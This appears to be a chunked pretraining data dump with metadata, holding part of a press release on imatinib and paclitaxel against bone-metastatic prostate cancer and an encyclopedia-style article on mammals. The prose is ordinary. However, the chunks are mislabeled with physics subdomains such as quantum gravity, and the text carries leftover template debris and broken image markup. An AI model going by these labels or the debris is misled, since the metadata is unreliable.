prostate cancer that has spread into the bone, successfully warded off the combined medications in lab experiments, said isaiah j. fidler, d. v. m., ph. d., chair of the department of cancer biology and director of the cancer metastasis research center at m. d. anderson. \" why, then, did it work so well in the animal? because we didn ' t attack the tumor, we attacked the blood vessels. we target and destroy the vasculature that provides oxygen and nutrients to tumor cells, \" said fidler, the paper ' s senior author. fidler and colleagues show in the jnci paper that imatinib killed tumor - related blood vessel ( endothelial ) cells by inactivating the platelet - derived growth factor receptors ( pdgf - r ) on the cell surface. this prevents the receptor ' s activation either by pdgf binding to it externally or by a signal generated internally by the cell. activation of pdgf - r stimulates the birth of new blood vessels, promotes cell division and migration, and inhibits a protective form of cell suicide known as apoptosis, all harmful effects in the service of a cancer cell. with imatinib preventing activation of pdgf - r, fidler said, the endothelial cells died by apoptosis first, with tumor cells following suit one to two weeks later. fidler said the findings are a vibrant example of the \" seed and soil \" hypothesis in metastasis - the deadly spreading of a cancer from its organ of origin to other organs, a process that kills 90 percent of all patients who die from their disease. in landmark findings, fidler and colleagues demonstrated that the vast majority of cancer cells that depart a tumor die swiftly once in circulation and that metastases originate from less than 1", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4704638079841485, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.628300"} {"text": "a process that kills 90 percent of all patients who die from their disease. in landmark findings, fidler and colleagues demonstrated that the vast majority of cancer cells that depart a tumor die swiftly once in circulation and that metastases originate from less than 1 percent of a cancer ' s cells and even can arise from a single cell. when these metastatic \" seeds \" enter circulation, they still need to find the exact microenvironment that permits them to grow. for prostate cancer, the second - leading cause of cancer death among men, that microenvironment is the bone. earlier research by fidler and colleagues showed pdgf - r activation in metastatic prostate tumors adjacent to the bone but not in tumor cells next to muscle. pdgf - r also was activated in tumor - associated endothelial cells in the bone, but not in those blood vessel cells in neighboring muscle. a jnci paper by fidler and colleagues in 2003 showed that blocking pdgf - r signaling in the mouse model of metastatic prostate cancer cut the incidence of cancer, reduced the size of tumors and incidence of metastasis. the question was whether the combination of imatinib and paclitaxel achieved this by attacking the tumor itself or the tumor - related blood vessels. this week ' s jnci paper answers that question : it kills the blood vessels first. \" here, we attack the soil. the seeds can be resistant. kill the endothelial cell, you kill the soil, \" fidler said. imatinib had an effect by itself, but the best result came from the pairing with paclitaxel, known commercially as taxol, which induces apoptosis in non - resistant cancer cells. taxol, developed by the bristol - myers squibb co., is frontline therapy for prostate cancer but eventually loses its effect as resistant tumor cells proliferate. gleevec, developed by novartis pharmaceuticals corporation, is used to treat chronic myelogenous leukemia and gastrointestinal stromal tumors. cancer cells are biologically diverse and genetically unstable, fidler says, so it is highly unlikely that a single therapy will prevail, necessitating a multi - modal attack on the disease. paul mathew, m. d., assistant professor, and christopher logothetis, m. d., professor and chair of the department of genitourinary medical oncology at m. d. anderson, are leading a phase ii clinical trial employing imatinib and", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4942305701922866, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.631294"} {"text": "d., assistant professor, and christopher logothetis, m. d., professor and chair of the department of genitourinary medical oncology at m. d. anderson, are leading a phase ii clinical trial employing imatinib and docetaxel against androgen - independent prostate cancer. docetaxel is in the same family of medication as paclitaxel. this research project was funded by a cancer center support core grant and a specialized programs in research excellence ( spore ) grant, both from the national cancer institute of the national institutes of health. fidler, mathew and logothetis have research projects that are sponsored by novartis pharmaceuticals. co - authors of the jnci paper, all from m. d. anderson, are : first author sun - jin kim, m. d., ph. d. ; hisanori uehara, m. d., ph. d. ; sertac yazici, m. d. ; joseph erik busby, m. d. ; toru nakamura, m. d., ph. d. ; junqin he, m. d. ; marva maya ; christopher logothetis, m. d. ; paul mathew, m. d. ; xuemei wang ; kim - anh do, ph. d. ; and dominic fan, ph. d. last reviewed : by john m. grohol, psy. d. on 21 feb 2009 published on psychcentral. com. all rights reserved.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4621792378279767, "token_count": 316, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.631969"} {"text": "individual differences | methods | statistics | clinical | educational | industrial | professional items | world psychology | | clockwise from the upper left : giraffe, golden crown fruit bat, lion, hedgehog | clockwise from the upper left : giraffe, golden crown fruit bat, lion, hedgehog mammals ( formally mammalia ) are a class of vertebrate animals whose name is derived from their distinctive feature, mammary glands, with which they feed their young. they are also characterized by the possession of sweat glands, hair, three middle ear bones used in hearing, and a neocortex region in the brain. except for the three species of monotremes ( which lay eggs ), all mammals give birth to live young. most mammals also possess specialized teeth, and the largest group of mammals, the placentals, use a placenta during gestation. the mammalian brain regulates endothermic and circulatory systems, including a four - chambered heart. there are approximately 5, 400 species of mammals, ranging in size from the template : convert / \u2013 template : convert / test / a bumblebee bat to the template : convert / loffaoffdbsontemplate : convert / test / a blue whale, distributed in about 1, 200 genera, 153 families, and 29 orders, though this varies by classification scheme. the mammals are divided into two subclasses, the prototheria, which includes the egg - laying monotremes, and the theria, which includes the live - bearing marsupials and placentals. most mammals, including the six largest orders, belong to the placental group. the three largest orders, in descending order, are rodentia ( mice, rats, and other small, gnawing mammals ), chiroptera ( bats ), and soricomorpha ( shrews, moles and solenodons ). the next three largest orders include the carnivora ( dogs, cats, weasels, bears, seals, and their relatives ), the cetartiodactyla ( including the even - toed hoofed mammals and the whales ) and the primates to which the human species belongs. the relative size of these latter three orders differs according to the classification scheme and definitions used by various authors. phylogenetically, mammalia is defined as all descendants of the most recent common ancestor of monotremes ( e. g., echidnas and platypuses ) and therian mammals ( mars", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.47960179793506585, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.657969"} {"text": "classification scheme and definitions used by various authors. phylogenetically, mammalia is defined as all descendants of the most recent common ancestor of monotremes ( e. g., echidnas and platypuses ) and therian mammals ( marsupials and placentals ). this means that some extinct groups of \" mammals \" are not members of the crown group mammalia, even though most of them have all the characteristics that traditionally would have classified them as mammals. these \" mammals \" are now usually placed in the unranked clade mammaliaformes. the mammalian line of descent diverged from the reptile line at the end of the carboniferous period. the majority of reptiles would evolve into modern - day reptiles and birds, while the synapsid branch led to mammals. the first true mammals appeared in the jurassic period. modern mammalian orders appeared in the palaeocene and eocene epochs of the palaeogene period. however, other features are required when classifying fossils, since soft tissue glands and some other features are not visible in fossils. paleontologists use a distinguishing feature that is shared by all living mammals ( including monotremes ), but is not present in any of the early triassic synapsids : mammals use two bones for hearing that were used for eating by their ancestors. the earliest synapsids had a jaw joint composed of the articular ( a small bone at the back of the lower jaw ) and the quadrate ( a small bone at the back of the upper jaw ). most reptiles and non - mammalian synapsids use this system including lizards, crocodilians, dinosaurs ( and their descendants the birds ), and therapsids ( mammal - like \" reptiles \" ). mammals have a different jaw joint, however, composed only of the dentary ( the lower jaw bone which carries the teeth ) and the squamosal ( another small skull bone ). in mammals the quadrate and articular bones have become the incus and malleus bones in the middle ear. note : \" non - mammalian synapsids \" above implies that mammals are a sub - group of synapsids, and that is exactly what cladistics says they are. mammals also have a double occipital condyle : they have two knobs at the base of the skull which fit into the topmost neck vertebra, and other vertebrates have a single occipital condyle. paleontologists use", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5017781506998296, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.658919"} {"text": "occipital condyle : they have two knobs at the base of the skull which fit into the topmost neck vertebra, and other vertebrates have a single occipital condyle. paleontologists use only the jaw joint and middle ear as criteria for identifying fossil mammals, since it would be confusing if they found a fossil that had one feature, but not the other. anatomy and morphologyedit the majority of mammals have seven cervical vertebrae ( bones in the neck ) ; this includes bats, giraffes, whales, and humans. the few exceptions include the manatee and the two - toed sloth, which have only six cervical vertebrae, and the three - toed sloth with nine cervical vertebrae. the lungs of mammals have a spongy texture and are honeycombed with epithelium having a much larger surface area in total than the outer surface area of the lung itself. the lungs of humans are typical of this type of lung. breathing is largely driven by the muscular diaphragm which divides the thorax from the abdominal cavity, forming a dome with its convexity towards the thorax. contraction of the diaphragm flattens the dome increasing the volume of the cavity in which the lung is enclosed. air enters through the oral and nasal cavities ; it flows through the larynx, trachea and bronchi and expands the alveoli. relaxation of the diaphragm has the opposite effect, passively recoiling during normal breathing. during exercise, the abdominal wall contracts, increasing visceral pressure on the diaphragm, thus forcing the air out more quickly and forcefully. the rib cage itself also is able to expand and contract the thoracic cavity to some degree, through the action of other respiratory and accessory respiratory muscles. as a result, air is sucked into or expelled out of the lungs, always moving down its pressure gradient. this type of lung is known as a bellows lung as it resembles a blacksmith ' s bellows. the mammalian heart has four chambers : the right atrium, right ventricle, left atrium, and left ventricle. atria are for receiving blood ; ventricles are for pumping blood to the lungs and body. the ventricles are larger than the atria and their walls are thick, because muscular walls are needed to forcefully pump the blood from the heart to the body and lungs. deoxygenated blood from the body enters the right atrium,", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4723060123531244, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.659951"} {"text": ". the ventricles are larger than the atria and their walls are thick, because muscular walls are needed to forcefully pump the blood from the heart to the body and lungs. deoxygenated blood from the body enters the right atrium, which pumps it to the right ventricle. the right ventricle pumps blood to the lungs, where carbon dioxide diffuses out, and oxygen diffuses in. from the lungs, oxygenated blood enters the left atrium, where it is pumped to the left ventricle ( the largest and strongest of the 4 chambers ), which pumps it out to the rest of the body, including the heart ' s own blood supply. all mammalian brains possess a neocortex, a brain region that is unique to mammals. mammals have integumentary systems made up of three layers : the outermost epidermis, the dermis, and the hypodermis. this characteristic is not unique to mammals, since it is found in all vertebrates. the epidermis is typically ten to thirty cells thick ; its main function being to provide a waterproof layer. its outermost cells are constantly lost ; its bottommost cells are constantly dividing and pushing upward. the middle layer, the dermis, is fifteen to forty times thicker than the epidermis. the dermis is made up of many components such as bony structures and blood vessels. the hypodermis is made up of adipose tissue. its job is to store lipids, and to provide cushioning and insulation. the thickness of this layer varies widely from species to species. although mammals and other animals have cilia that superficially may resemble it, no other animals except mammals have hair. it is a definitive characteristic of the order. some mammals have very little, but nonetheless, careful examination reveals the characteristic, often in obscure parts of their bodies. none are known to have hair that naturally is blue or green in color although some cetaceans, along with the mandrills appear to have shades of blue skin. many mammals are indicated as having blue hair or fur, but in all known cases, it has been found to be a shade of gray. the two - toed sloth and the polar bear may seem to have green fur, but this color is caused by algae growths. most mammals give birth to live young ( vivipary ), but a few, namely the monotremes, lay eggs, and at least one of them, the platypus,", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.48599076987063716, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.660902"} {"text": "but this color is caused by algae growths. most mammals give birth to live young ( vivipary ), but a few, namely the monotremes, lay eggs, and at least one of them, the platypus, presents a particular sex determination system that in some ways resembles that of birds. oviviparous species which are not mammals such as guppies and snakes also give birth in a manner resembling live birth ; thus it is not a distinguishing characteristic of mammals. mammals have sweat glands, a defining feature present in no other group. some of these glands have specialized to produce milk ( in what are called mammary glands ), a liquid used by newborns as their primary source of nutrition. the monotremes branched from other mammals early on, and do not have the nipples seen in most mammals, but they do have mammary glands. nearly all mammals are endothermic ( \" warm - blooded \" ). most mammals also have hair to help keep them warm. like birds, mammals can forage or hunt in cold weather and climates where reptiles and large insects cannot. endothermy requires plenty of food energy, so pound for pound mammals eat more food than reptiles. small insectivorous mammals eat prodigious amounts for their size. in intelligent mammals, such as primates, the cerebrum is larger relative to the rest of the brain. intelligence itself is not easy to define, but indications of intelligence include the ability to learn, matched with behavioral flexibility. rats, for example, are considered to be highly intelligent as they can learn and perform new tasks, an ability that may be important when they first colonize a fresh habitat. in some mammals, food gathering appears to be related to intelligence : a deer feeding on plants has a brain relatively smaller than a cat, who must think to outwit its prey. - see also : animal locomotion mammals evolved from four - legged ancestors. they use their limbs to walk, climb, swim, and fly. some land mammals have toes that produce claws and hooves for climbing and running. aquatic mammals such as whales and dolphins have fins which evolved from legs. [ [ image : elephant near ndutu. jpg | thumb | an african elephant - see also : terrestrial locomotion - see also : scansorial locomotion sloths travel slowly along branches rather than swinging energetically. buoyed by their aquatic environment, whales have evolved into the largest mammals and indeed the largest animals ever.", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5118530620586708, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.662735"} {"text": "also : terrestrial locomotion - see also : scansorial locomotion sloths travel slowly along branches rather than swinging energetically. buoyed by their aquatic environment, whales have evolved into the largest mammals and indeed the largest animals ever. - see also : aerial locomotion to maintain a high constant body temperature is energy expensive - mammals therefore need a nutritious and plentiful diet. while the earliest mammals were probably predators, different species have since adapted to meet their dietary requirements in a variety of ways. some eat animal prey - this is a carnivorous diet ( and includes insectivorous diets ). other mammals, called herbivores, eat plants. an herbivorous diet includes sub - types such as fruit - eating and grass - eating. an omnivore eats boths prey and plants. carnivorous mammals have a simple digestive tract, because the proteins, lipids, and minerals found in meat require little in the way of specialized digestion. plants, on the other hand, contain complex carbohydrates, such as cellulose. the digestive tract of an herbivore is therefore host to bacteria that ferment these substances, and make them available for digestion. the bacteria are either housed in the multichambered stomach or in a large cecum. the size of an animal is also a factor in determining diet type. since small mammals have a high ratio of heat losing surface area to heat generating volume, they tend to have high - energy requirements and a high metabolic rate. mammals that weigh less than about 18 oz ( 500g ) are mostly insectivorous because they cannot tolerate the slow, complex digestive process of a herbivore. larger animals on the other hand generate more heat and less of this heat is lost. they can therefore tolerate either a slower collection process ( those that prey on larger vertebrates ) or a slower digestive process ( herbivores ). furthermore, mammals that weigh more than 18 oz ( 500g ) usually cannot collect enough insects during their waking hours to sustain themselves. the only large insectivorous mammals are those that feed on huge colonies of insects ( ants or termites ). specializations in herbivory include : granivory \" seed eating \", folivory \" leaf eating \", fruivory \" fruit eating \", nectivory \" nectar eating \", gumivory \" gum eating \", and mycophagy \" fungus eating \" - for more details on this topic", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4656565144753797, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.663906"} {"text": "folivory \" leaf eating \", fruivory \" fruit eating \", nectivory \" nectar eating \", gumivory \" gum eating \", and mycophagy \" fungus eating \" - for more details on this topic, see evolution of mammals. the evolution of mammals from synapsids, also known as mammal - like \" reptiles \" was a gradual process which took approximately 70 million years, from the mid - permian through the triassic period to the mid - jurassic, and by the mid - triassic there were many species that looked like mammals. note that synapsids are not reptiles at all, but belong to a distinct lineage of tetrapods. [ [ image : skull synapsida 1. png | thumb | the original synapsid skull structure has one hole behind each eye, in a fairly low position on the skull ( lower right in this image ). ] ] the first fully terrestrial vertebrates were amniotes. like the amphibians they evolved from, they had legs and lungs. amniotes ' eggs, however, had internal membranes which allowed the developing embryo to breathe but kept water in. this allowed amniotes to lay eggs on dry land, while amphibians generally need to lay their eggs in water. the first amniotes apparently arose in the late carboniferous. they descended from amphibians, which were numerous at the time, and lived on land already inhabited by insects, other invertebrates, ferns, mosses, and other plants. within a few million years two important amniote lineages became distinct : the synapsids, from which mammals are descended ; and the sauropsids, from which lizards, snakes, crocodilians, dinosaurs and birds are descended. synapsids have a single hole ( temporal fenestra ) low on each side of the skull. therapsids descended from pelycosaurs in the middle permian, about 260m years ago, and took over their position as the dominant land vertebrates. they differ from pelycosaurs in several features of the skull and jaws, including : larger temporal fenestrae ; incisors which are equal in size. the therapsids went through a series of stages, beginning with animals which were very like their pelycosaur ancestors and ending with the triassic cynodonts, some of which could easily be mistaken for mammals. those stages were characterized by : - gradual development of a bony", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4681224757545036, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.664902"} {"text": "a series of stages, beginning with animals which were very like their pelycosaur ancestors and ending with the triassic cynodonts, some of which could easily be mistaken for mammals. those stages were characterized by : - gradual development of a bony secondary palate. - the dentary gradually becomes the main bone of the lower jaw. - progress towards an erect limb posture, which would increase the animals ' stamina by avoiding carrier ' s constraint. but this process was slow and erratic - for example : all herbivorous therapsids retained sprawling limbs ( some late forms may have had semi - erect hind limbs ) ; permian carnivorous therapsids had sprawling forelimbs, and some late permian ones also had semi - sprawling hindlimbs. in fact modern monotremes still have semi - sprawling limbs. - in the triassic, progress towards the mammalian jaw and middle ear. - there is possible evidence of hair in triassic therapsids, but none for permian therapsids. - some scientists have argued that some triassic therapsids show signs of lactation. the permian \u2013 triassic extinction event ended the dominance of the therapsids, and in the early triassic all the medium to large land animal niches were taken over by archosaurs, which were the ancestors of crocodilians, pterosaurs, dinosaurs and birds. after this \" triassic takeover \" the cynodonts and their descendants could only survive as small, mainly nocturnal insectivores. this may actually have accelerated the evolution of mammals - for example the surviving cynodonts and their descendants had to evolve towards warm - bloodedness because their small bodies would otherwise have lost heat quickly, especially as they were active mainly at night. the first true mammals appeared in the early jurassic, over 70 million years after the first therapsids and approximately 30 million years after the first mammaliaformes. hadrocodium appears to be in the middle of the transition to true mammal status \u2014 it had a mammalian jaw joint ( formed by the dentary and squamosal bones ), but there is some debate about whether its middle ear was fully mammalian. - they use the same orifice to urinate, defecate and reproduce ( \" monotreme \" means \" one hole \" ) - as lizards and birds also do. - they lay eggs which are leathery and uncalcified, like those of lizards, turtles and crocodilians. unlike other mammals,", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5101391326616141, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.665869"} {"text": "\" monotreme \" means \" one hole \" ) - as lizards and birds also do. - they lay eggs which are leathery and uncalcified, like those of lizards, turtles and crocodilians. unlike other mammals, female monotremes do not have nipples and feed their young by \" sweating \" milk from patches on their bellies. the oldest known marsupial is sinodelphys, found in 125m - year old early cretaceous shale in china ' s northeastern liaoning province. the fossil is nearly complete and includes tufts of fur and imprints of soft tissues. the living eutheria ( \" true beasts \" ) are all placentals. but the earliest known eutherian, eomaia, found in china and dated to 125m years ago, has some features which are more like those of marsupials ( the surviving metatherians ) : - epipubic bones extending forwards from the pelvis, which are not found in any modern placental, but are found in marsupials, monotremes and mammaliformes such as multituberculates. in other words, they appear to be an ancestral feature which subsequently disappeared in the placental lineage. - a narrow pelvic outlet, which indicates that the young were very small at birth and therefore pregnancy was short, as in modern marsupials. this suggests that the placenta was a later development. the traditional view is that : mammals only took over the medium - to large - sized ecological niches in the cenozoic, after the extinction of the dinosaurs ; but then they diversified very quickly ; for example the earliest known bat dates from about 50m years ago, only 15m years after the extinction of the dinosaurs. on the other hand recent molecular phylogenetic studies suggest that most placental orders diverged about 100m to 85m years ago, but that modern families first appeared in the late eocene and early miocene but paleontologists object that no placental fossils have been found from before the end of the cretaceous during the cenozoic several groups of mammals appeared which were much larger than their nearest modern equivalents - but none was even close to the size of the largest dinosaurs with similar feeding habits. earliest appearances of featuresedit the earliest clear evidence of hair or fur is in fossils of castorocauda, from 164m years ago in the mid jurassic. from 1955 onwards some scientists have interpreted the foramina ( passages ) in the maxillae ( upper jaws ) and premax", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.44748033711077484, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.666788"} {"text": "clear evidence of hair or fur is in fossils of castorocauda, from 164m years ago in the mid jurassic. from 1955 onwards some scientists have interpreted the foramina ( passages ) in the maxillae ( upper jaws ) and premaxillae ( small bones in front of the maxillae ) of cynodonts as channels which supplied blood vessels and nerves to vibrissae ( whiskers ), and suggested that this was evidence of hair or fur. but foramina do not necessarily show that an animal had vibrissae - for example the modern lizard tupinambis has foramina which are almost identical to those found in the non - mammalian cynodont thrinaxodon. the evolution of erect limbs in mammals is incomplete \u2014 living and fossil monotremes have sprawling limbs. in fact some scientists think that the parasagittal ( non - sprawling ) limb posture is a synapomorphy ( distinguishing characteristic ) of the boreosphenida, a group which contains the theria and therefore includes the last common ancestor of modern marsupial and placentals - and therefore that all earlier mammals had sprawling limbs. sinodelphys ( the earliest known marsupial ) and eomaia ( the earliest known eutherian ) lived about 125m years ago, so erect limbs must have evolved before then. it is currently very difficult to be confident when endothermy first appeared in the evolution of mammals. modern monotremes have a lower body temperature and more variable metabolic rate than marsupials and placentals. so the main question is when a monotreme - like metabolism evolved in mammals. the evidence found so far suggests triassic cynodonts may have had fairly high metabolic rates, but is not conclusive. in particular it is difficult to see how small animals can maintain a high and stable body temperature without fur. - main article : mammal classification george gaylord simpson ' s \" principles of classification and a classification of mammals \" ( amnh bulletin v. 85, 1945 ) was the original source for the taxonomy listed here. simpson laid out a systematics of mammal origins and relationships that was universally taught until the end of the 20th century. since simpson ' s classification, the paleontological record has been recalibrated, and the intervening years have seen much debate and progress concerning the theoretical underpinnings of systematization itself, partly through the new concept of cladistics. though field work gradually made simpson ' s classification outdated,", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.486888984346854, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.667679"} {"text": "been recalibrated, and the intervening years have seen much debate and progress concerning the theoretical underpinnings of systematization itself, partly through the new concept of cladistics. though field work gradually made simpson ' s classification outdated, it remained the closest thing to an official classification of mammals. standardized textbook classificationedit a somewhat standardized classification system has been adopted by most current mammalogy classroom textbooks. the following taxonomy of extant and recently extinct mammals is from vaughan et al. ( 2000 ). - subclass prototheria : monotremes : platypuses and echidnas - subclass theria : live - bearing mammals in 1997, the mammals were comprehensively revised by malcolm c. mckenna and susan k. bell, which has resulted in the \" mckenna / bell classification \". mckenna and bell, classification of mammals : above the species level, ( 1997 ) is the most comprehensive work to date on the systematics, relationships, and occurrences of all mammal taxa, living and extinct, down through the rank of genus. the new mckenna / bell classification was quickly accepted by paleontologists. the authors work together as paleontologists at the american museum of natural history, new york. mckenna inherited the project from simpson and, with bell, constructed a completely updated hierarchical system, covering living and extinct taxa that reflects the historical genealogy of mammalia. the mckenna / bell hierarchical listing of all of the terms used for mammal groups above the species includes extinct mammals as well as modern groups, and introduces some fine distinctions such as legions and sublegions ( ranks which fall between classes and orders ) that are likely to be glossed over by the nonprofessionals. the published re - classification forms both a comprehensive and authoritative record of approved names and classifications and a list of invalid names. extinct groups are represented by a cross ( \u2020 ). - subclass prototheria : monotremes : echidnas and the platypus - subclass theriiformes : live - bearing mammals and their prehistoric relatives - infraclass \u2020 allotheria : multituberculates - infraclass \u2020 triconodonta : triconodonts - infraclass holotheria : modern live - bearing mammals and their prehistoric relatives - supercohort theria : live - bearing mammals - cohort marsupialia : marsupials - cohort placentalia : placentals - magnorder xenarthra : xenarthrans - magnorder epitheria : ep", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5343704758326505, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 10, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.668584"} {"text": "great american interchange. the traditional view that no placental mammals reached australasia until about 5 million years ago when bats and murine rodents arrived has been challenged by recent evidence and may need to be reassessed. these molecular results are still controversial because they are not reflected by morphological data, and thus not accepted by many systematists. further there is some indication from retrotransposon presence / absence data that the traditional epitheria hypothesis, suggesting xenarthra as the first divergence, might be true. - clade atlantogenata - group i : afrotheria - clade afroinsectiphilia - clade paenungulata - group ii : xenarthra - group i : afrotheria - clade boreoeutheria - group iii : euarchontoglires ( supraprimates ) - superorder euarchonta - superorder glires - group iv : laurasiatheria - order erinaceomorpha : hedgehogs - order soricomorpha : moles, shrews, solenodons - clade ferungulata - clade cetartiodactyla - clade pegasoferae - group iii : euarchontoglires ( supraprimates ) particular groups studied by psychologistsedit psychologists have studied : - primates ( nonhuman ) - seals ( animal ) - \u2191 ( 2005 - 11 - 16 ) wilson, d. e., and reeder, d. m. ( eds ) mammal species of the world, 3rd edition, johns hopkins university press. isbn 0 - 801 - 88221 - 4. - \u2191 rose, kenneth d. ( 2006 ). the beginning of the age of mammals, baltimore : johns hopkins university press. - \u2191 mckenna, malcolm c. ; bell, susan groag. classification of mammals, columbia university press. - \u2191 4. 0 4. 1 ( 2001 ) don e. wilson & david burnie animal : the definitive visual guide to the world ' s wildlife, 1st edition, 86 \u2013 89, dk publishing. - \u2191 amniota - palaeos. - \u2191 synapsida overview - palaeos. - \u2191 therapsida - palaeos. - \u2191 kermack ( 1984 ). the evolution of mammalian characters, croom helm. - \u2191 cynodontia : overview - palaeos. - \u2191 symmetrodonta - palaeos. - \u2191", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.45551042069670483, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 12, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.670408"} {"text": "palaeos. - \u2191 kermack ( 1984 ). the evolution of mammalian characters, croom helm. - \u2191 cynodontia : overview - palaeos. - \u2191 symmetrodonta - palaeos. - \u2191 oldest marsupial fossil found in china. national geographic news. - \u2191 eomaia scansoria : discovery of oldest known placental mammal. - \u2191 13. 0 13. 1 dinosaur extinction spurred rise of modern mammals. news. nationalgeographic. com. url accessed on 2009 - 03 - 08. - \u2191 jurassic \" beaver \" found ; rewrites history of mammals. - \u2191 rogue finger gene got bats airborne. newscientist. com. url accessed on 2009 - 03 - 08. - \u2191 bininda - emonds, o. r. p. ( 2007 ). the delayed rise of present - day mammals. nature ( 446 ) : 507 \u2013 511. - \u2191 oftedal, o. t. ( 2002 ). the mammary gland and its origin during synapsid evolution. journal of mammary gland biology and neoplasia 7 ( 3 ) : 225 \u2013 252. - \u2191 oftedal, o. t. ( 2002 ). the origin of lactation as a water source for parchment - shelled eggs = journal of mammary gland biology and neoplasia 7 ( 3 ) : 253 \u2013 266. - \u2191 lactating on eggs. nationalzoo. si. edu. url accessed on 2009 - 03 - 08. - \u2191 brink, a. s. ( 1955 ). a study on the skeleton of diademodon. palaeontologia africana 3 : 3 \u2013 39. - \u2191 kemp, t. s. ( 1982 ). mammal - like reptiles and the origin of mammals, london : academic press. - \u2191 bennett, a. f. and ruben, j. a. ( 1986 ) \" the metabolic and thermoregulatory status of therapsids \" ; pp. 207 \u2013 218 in n. hotton iii, p. d. maclean, j. j. roth and e. c. roth ( eds ), \" the ecology and biology of mammal - like reptiles \", smithsonian institution press, washington. - \u2191 estes, r. ( 1961 ). cranial anatomy of the cynodont reptile thrinaxodon liorhinus. bulletin of the museum of comparative zoology : 165 \u2013 180. -", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4894929748853125, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 13, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.671198"} {"text": "smithsonian institution press, washington. - \u2191 estes, r. ( 1961 ). cranial anatomy of the cynodont reptile thrinaxodon liorhinus. bulletin of the museum of comparative zoology : 165 \u2013 180. - \u2191 ice age animals, illinois state museum - \u2191 kielan\u2212jaworowska, z. ( 2006 ). limb posture in early mammals : sprawling or parasagittal. acta palaeontologica polonica 51 ( 3 ) : 10237 \u2013 10239. - \u2191 paul, g. s. ( 1988 ). predatory dinosaurs of the world, new york : simon and schuster. - bergsten, johannes. february 2005. \" a review of long - branch attraction \". cladistics 21 : 163 \u2013 193. ( pdf version ) - brown, w. m. ( 2001 ). natural selection of mammalian brain components. trends in ecology and evolution, 16, 471 - 473. - khalaf - von jaffa, norman ali bassam ali taher ( 2006 ). mammalia palaestina : the mammals of palestine. gazelle : the palestinian biological bulletin. number 55, july 2006. pp. 1 \u2013 46. - mckenna, malcolm c., and bell, susan k. 1997. classification of mammals above the species level. columbia university press, new york, 631 pp. isbn 0 - 231 - 11013 - 8 - nowak, ronald m. 1999. walker ' s mammals of the world, 6th edition. johns hopkins university press, 1936 pp. isbn 0 - 8018 - 5789 - 9 - simpson, george gaylord. 1945. \" the principles of classification and a classification of mammals \". bulletin of the american museum of natural history, 85 : 1 \u2013 350. - william j. murphy, eduardo eizirik, mark s. springer et al., resolution of the early placental mammal radiation using bayesian phylogenetics, science, vol 294, issue 5550, 2348 \u2013 2351, 14 december 2001. - springer, mark s., michael j. stanhope, ole madsen, and wilfried w. de jong. 2004. \" molecules consolidate the placental mammal tree \". trends in ecology and evolution, 19 : 430 \u2013 438. ( pdf version ) - vaughan, terry a., james m. ryan, and nicholas j. capzaplewski. 2000. mammalogy : fourth edition. saunders college publishing, 565 pp.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5141684737150212, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 14, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:13.672028"} {"text": "evolution, 19 : 430 \u2013 438. ( 